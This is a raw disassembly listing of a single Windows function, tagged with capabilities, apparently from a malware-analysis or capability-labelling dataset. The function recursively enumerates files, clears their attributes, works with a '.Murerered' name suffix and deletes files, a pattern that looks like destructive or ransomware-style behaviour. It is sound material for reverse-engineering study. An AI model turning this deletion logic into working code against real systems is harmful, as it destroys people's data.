Function at 0x140003380
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1400b7210]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov dword [rsp + 0x48], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400033e0
mov rdx, rcx
lea rcx, [rbp - 0x18]
call fcn.1400058e0
nop
mov rcx, qword [rbp - 8]
lea r9, [rcx - 1]
cmp rcx, r9
jbe 0x140003cc5
lea rax, [rbp - 0x18]
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp]
cmp rdx, 0x10
cmovae rax, r8
cmp byte [rax + r9], 0x5c
je 0x140003463
cmp rcx, rdx
jae 0x140003444
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp rdx, 0x10
cmovae rax, r8
mov word [rax + rcx], 0x5c
jmp 0x140003457
mov r9b, 0x5c
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x18]
call fcn.1400059e0
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 3
jb 0x140003ccb
lea r9, [rbp - 0x18]
cmp rdx, 0x10
cmovae r9, r8
mov qword [rsp + 0x30], 3
lea rax, [0x140069a5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x38]
call fcn.140005de0
mov r12d, 8
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rcx, qword [rbp - 0x38]
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140003512
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000350d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cd1
call fcn.140026f0c
movdqa xmm0, xmmword [0x1400ab270]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
cmp rbx, 0xffffffffffffffff
je 0x140003c58
movzx edi, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r15d, byte [rsp + 0x40]
mov r13, qword [rbp - 0x60]
nop dword [rax]
movzx ecx, byte [rbp + 0x5c]
movzx eax, byte [rbp + 0x5d]
cmp cl, 0x2e
jne 0x140003577
test al, al
je 0x140003c39
cmp cl, cl
jne 0x140003577
cmp al, cl
jne 0x140003577
cmp byte [rbp + 0x5e], 0
je 0x140003c39
test byte [rbp + 0x30], 0x10
je 0x140003641
lea rax, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140003590
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 8]
sub rax, rdx
cmp rax, rcx
jb 0x140003ce3
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x18]
movzx edx, dil
lea rcx, [rbp + 8]
call fcn.140005de0
or r12d, 0x10
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
call fcn.140003380
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140003c39
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003637
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cdd
call fcn.140026f0c
jmp 0x140003c39
mov edx, 0x80
lea rcx, [rbp + 0x5c]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140003660
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 8]
sub rax, rdx
cmp rax, rcx
jb 0x140003cbf
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x18]
movzx edx, bl
lea rcx, [rbp + 8]
call fcn.140005de0
or r12d, 0x20
mov r8d, 0xa
lea rdx, str..Murerered
lea rcx, [rbp + 8]
call fcn.140005650
cmp qword [rbp + 0x18], 0x104
jae 0x140003846
xor r13d, r13d
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
lea r8d, [r13 + 0xa]
lea rdx, str..Murerered
lea rcx, [rbp - 0x58]
call fcn.1400058e0
nop
or r12d, 1
mov dword [rsp + 0x48], r12d
lea rax, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140003714
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 8]
sub rax, rdx
cmp rax, rcx
jb 0x140003cef
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x18]
movzx edx, r15b
lea rcx, [rbp - 0x80]
call fcn.140005de0
bts r12d, 8
or r12d, 2
mov dword [rsp + 0x48], r12d
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400037a0
lea rcx, [rsp + 0x60]
call fcn.1400058e0
nop
or r12d, 4
mov dword [rsp + 0x48], r12d
mov r8, qword [rbp - 0x58]
mov qword [rsp + 0x58], r8
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x70]
mov r13, qword [rbp - 0x48]
cmp rax, r13
jb 0x14000383c
mov r9, rax
sub r9, r13
cmp rax, r9
jb 0x140003ce9
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, r8
sub rax, r9
mov r10, r13
cmp rax, r13
cmovb r10, rax
mov qword [rsp + 0x48], r10
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, rcx
mov r8, r10
cmp r13, r10
cmovb r8, r13
lea rcx, [rax + r9]
call fcn.1400299a0
test eax, eax
jne 0x14000383c
cmp qword [rsp + 0x48], r13
jb 0x14000383c
jbe 0x140003856
mov r13b, 1
mov rcx, qword [rsp + 0x50]
jmp 0x14000385e
mov r8, qword [rbp - 0x58]
mov qword [rsp + 0x58], r8
mov rcx, qword [rsp + 0x60]
jmp 0x14000385b
mov rcx, qword [rsp + 0x50]
xor r13b, r13b
test r12b, 4
je 0x1400038ac
and r12d, 0xfffffffb
mov rax, qword [rsp + 0x78]
cmp rax, 0x10
jb 0x1400038ac
lea rdx, [rax + 1]
mov r8, rcx
cmp rdx, 0x1000
jb 0x1400038a6
add rdx, 0x27
mov rax, qword [rcx - 8]
mov qword [rsp + 0x50], rax
sub r8, rax
lea rax, [r8 - 8]
cmp rax, 0x1f
ja 0x140003cf5
mov rcx, qword [rsp + 0x50]
call fcn.140026f0c
nop
test r12b, 2
je 0x1400038f2
and r12d, 0xfffffffd
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400038f2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cfb
call fcn.140026f0c
nop
test r12b, 1
je 0x140003939
and r12d, 0xfffffffe
mov rax, qword [rbp - 0x40]
cmp rax, 0x10
jb 0x140003939
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d01
call fcn.140026f0c
test r13b, r13b
je 0x140003bfa
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
xor r13d, r13d
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
mov qword [rsp + 0x50], rcx
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x58], rax
movabs rdx, 0x7fffffffffffffff
cmp rax, rdx
ja 0x140003d25
mov qword [rsp + 0x78], 0xf
cmp rax, 0x10
jae 0x1400039b7
mov qword [rsp + 0x70], rax
lea r8d, [r13 + 0x10]
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.140028eb0
jmp 0x140003a54
mov r13, rax
or r13, 0xf
cmp r13, rdx
jbe 0x1400039d6
mov r13, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400039fd
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
cmp rcx, 0x1000
jb 0x140003a1f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003d07
mov rcx, rax
call fcn.140026c80
mov rcx, rax
test rax, rax
je 0x140003d0d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003a2d
test rcx, rcx
je 0x140003a2b
call fcn.140026c80
jmp 0x140003a2d
xor eax, eax
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x78], r13
inc r8
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140028eb0
xor r13d, r13d
lea rax, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140003a60
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 8]
sub rax, rdx
cmp rax, rcx
jb 0x140003d1f
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x18]
movzx edx, r14b
lea rcx, [rbp - 0x58]
call fcn.140005de0
or r12d, 0x40
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140003ae0
lea rcx, [rbp - 0x80]
call fcn.1400058e0
nop
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140002e70
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140003b3e
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d0d
call fcn.140026f0c
lea rax, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140003b50
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 8]
sub rax, rdx
cmp rax, rcx
jb 0x140003d19
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x18]
movzx edx, sil
lea rcx, [rbp - 0x80]
call fcn.140005de0
bts r12d, 7
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140003bfa
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d13
call fcn.140026f0c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140003c35
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d2b
call fcn.140026f0c
mov r13, qword [rbp - 0x60]
lea rdx, [rbp + 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140003550
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140003c8f
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cd7
call fcn.140026f0c
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140026c50
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400016e0
nop
call fcn.1400056e0
int3
call fcn.1400016e0
int3
call fcn.140035b34
nop
call fcn.140035b34
nop
call fcn.140035b34
int3
call fcn.1400016e0
nop
call fcn.1400056e0
nop
call fcn.1400016e0
nop
call fcn.140035b34
nop
call fcn.140035b34
nop
call fcn.140035b34
int3
call fcn.140001640
int3
call fcn.140035b34
int3
call fcn.140035b34
int3
call fcn.1400016e0
nop
call fcn.1400016e0
nop
call fcn.1400016e0
nop
call fcn.140035b34
int3